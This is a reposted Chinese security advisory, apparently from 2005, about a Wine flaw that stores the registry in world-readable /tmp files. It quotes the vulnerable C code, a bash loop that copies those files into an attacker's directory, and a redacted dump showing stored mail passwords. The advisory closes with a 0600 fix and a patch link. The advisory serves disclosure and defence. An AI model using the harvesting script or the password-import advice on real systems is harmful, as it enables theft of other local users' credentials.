主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

病毒防治
漏洞公告
基础入门
Windows 系统安全
Linux 系统安全
防火墙
IDS/IPS
数据库及Web安全

 
RHU阅读排行
·PostNuke多个脚本远程SQL注入漏洞
·FreeBSD IIR(4)驱动错误权限漏洞
·Firefox搜索插件跨站脚本执行漏洞
·Oracle关键补丁更新(2005年4月)
·微软2005年4月安全更新摘要
·2005年03月之十大安全漏洞
·新版Firefox出现漏洞,可导致用户敏感信息泄漏
·Microsoft Windows图形设备接口库拒绝服务漏洞
·Windows 2003 Outlook页访问URL注入漏洞
·Wine以不安全方式创建tmp文件漏洞

 
 
RHU最新文章
·微软 DebugView Dbgv.sys内核模块本地权限升漏洞
·Microsoft Windows出现递归DNS欺骗漏洞
·Microsoft Windows URI处理器命令注入漏洞
·Cisco对其两大产品存在的SSL漏洞发出警告
·微软IE浏览器再爆严重漏洞 尚无安全补丁
·RaXnet Cacti多个SQL注入漏洞
·RaXnet config_settings.php远程文件漏洞
·RaXnet header.php远程文件包含漏洞
·Ipswitch login.asp远程SQL注入漏洞
·Asterisk管理接口栈溢出漏洞

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 安全技术-> 漏洞公告
Wine以不安全方式创建tmp文件漏洞

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2005-3-18 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


 

受影响系统:
Wine Windows API Emulator 20050310
Wine Windows API Emulator 20050305
Wine Windows API Emulator 20050211
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 12791

Wine是一款允许在UNIX操作系统(如Linux上)运行DOS和MS Windows程序(Windows 3.x 和Win32可执行程序)的免费软件

wine在启动win32应用程序时,会在/tmp中以regxxxxyyyy.tmp文件名临时存储windows注册表。这里xxxxxx是当前wine进程的十六进制pid值,yyyy是通常等于0的整数值。

regxxxxyyyy.tmp是以0644(-rw-r--r--)权限创建的,这在多用户环境中就导致了安全漏洞。实际上本地用户可以访问windows注册表的DUMP,获取敏感信息,如口令和其他保密数据。

受影响的函数是$winerelease/misc/registry.c中的_get_tmp_fn(FILE **)和$winerelease/server/registry.c中的save_branch( struct key *key, const char *path )。

_get_tmp_fn(FILE **) @ $winerelease/misc/registry.c :
-----------------------------------------------------
static LPSTR _get_tmp_fn(FILE **f)
{
LPSTR ret;
int tmp_fd,count;

ret = _xmalloc(50);
for (count = 0;;) {
sprintf(ret,"/tmp/reg%lx%04x.tmp",(long)getpid(),count++);

//here file regxxxyyyy.tmp is not created with secure permssions
if ((tmp_fd = open(ret,O_CREAT | O_EXCL | O_WRONLY,0666)) != -1) break;
if (errno != EEXIST) {
ERR("Unexpected error while open() call: %s\n",strerror(errno));
free(ret);
*f = NULL;
return NULL;
}
}
------------------------------------------------------


save_branch( struct key *,const char * ) @ $winerelease/server/registry.c:
------------------------------------------------------

static int save_branch( struct key *key, const char *path )
{
struct stat st;
char *p, *real, *tmp = NULL;
int fd, count = 0, ret = 0, by_symlink;
FILE *f;
.
.
.
for (;;)
{
sprintf( p, "reg%lx%04x.tmp", (long) getpid(), count++ );
//here file regxxxyyyy.tmp is not created with secure permssions
if ((fd = open( tmp, O_CREAT | O_EXCL | O_WRONLY, 0666 )) != -1) break;
if (errno != EEXIST) goto done;
close( fd );
}

.
.
.
}

------------------------------------------------------

open()在创建regxxxyyyy.tmp时,会使用0666模式做为参数。由于默认的umask是022 ==> (0666) &~ (022) = 0644 = -rw-r--r-- ,因此会以0644权限创建文件。

<*来源:Giovanni Delvecchio (badpenguin79@hotmail.com
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111082537009842&w=2
        http://bugs.winehq.org/show_bug.cgi?id=2715
        http://www.zone-h.org/advisories/read/id=7300
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

如果要利用这个漏洞,本地攻击者可以使用bash脚本检查/tmp中是否存在regxxxyyyy.tmp,如果存在就将其拷贝回本地目录进行分析。

bash脚本范例:

----------------------------------------------

#!/bin/sh

count=1
while [ true ]; do
if [ -f /tmp/reg*.tmp ]; then
cp /tmp/reg* /home/attacker/reg$count
count=$(($count + 1))
sleep 1
fi
done

---------------------------------------------

经测试这个脚本可获取敏感信息,如:

______________________________________________________________________________

[Software\\Microsoft\\Protected Storage System Provider\\*Default*\\Data\\b9819c52-1e12-4bbd-91e7-af9afea5b02d
\\87f5aab7-ca62-41c5-8896-27714d7b7e73\\MARSUSERPROTECTEDINFO]
"Behavior"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx
"Item Data"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx

________________________________________________________________________________


--------------------------------------------------------------------------------------------------------------------------------------
[Software\\Microsoft\\Protected Storage System Provider\\*Default*\\Data\\220d5cc1-853a-11d0-84bc-00c04fd43f8f
\\417e2d75-84bd-11d0-84bb-00c04fd43f8f\\HotmailCC990760]
"Behavior"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx
"Item Data"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx

--------------------------------------------------------------------------------------------------------------------------------------

以及:

---------------------------------------------------------------------------------------------------------------------------------------
[Software\\Microsoft\\Internet Account Manager\\Accounts\\00000008]
"Account Name"="libero.it"
"Connection Type"=dword:00000003
"POP3 Server"="pop3.libero.it"
"POP3 User Name"="xxxxxxx"
"POP3 Password2"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx
"POP3 Prompt for Password"=dword:00000000
"SMTP Server"="mail.libero.it"
"SMTP Display Name"="xxxxxx"
"SMTP Email Address"="xxxxxx@libero.it"
"POP3 Skip Account"=dword:00000000
"POP3 Port"=dword:0000006e
"SMTP User Name"=""
"SMTP Password2"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx
"SMTP Use Sicily"=dword:00000000
"SMTP Prompt for Password"=dword:00000000


--------------------------------------------------------------------------------------------------------------------------------------

这里有MSN Explorer和outlook的加密口令。

请注意,如果口令已加密的话,攻击者可将其导入到windows注册表系统中,这样就可以非法访问受害用户帐号,或使用网上的工具破解加密的口令。

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 使用0600模式调用open()函数:

... open(ret,O_CREAT | O_EXCL | O_WRONLY,0600)) ....

厂商补丁:

Wine
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://bugs.winehq.org/show_bug.cgi?id=2715

OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • 认知盲区 解惑双网卡双线路DNS解析
  • FlashFXP 简体中文版 3.7.5 Build 1303 Beta[烈火]
  • 确认:番茄花园作者洪磊被检察院批准逮捕
  • 1983年的今天 DNS诞生
  • Windows 2003 IIS 6.0搭建asp+.net+php+jsp+mysql+mssql
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com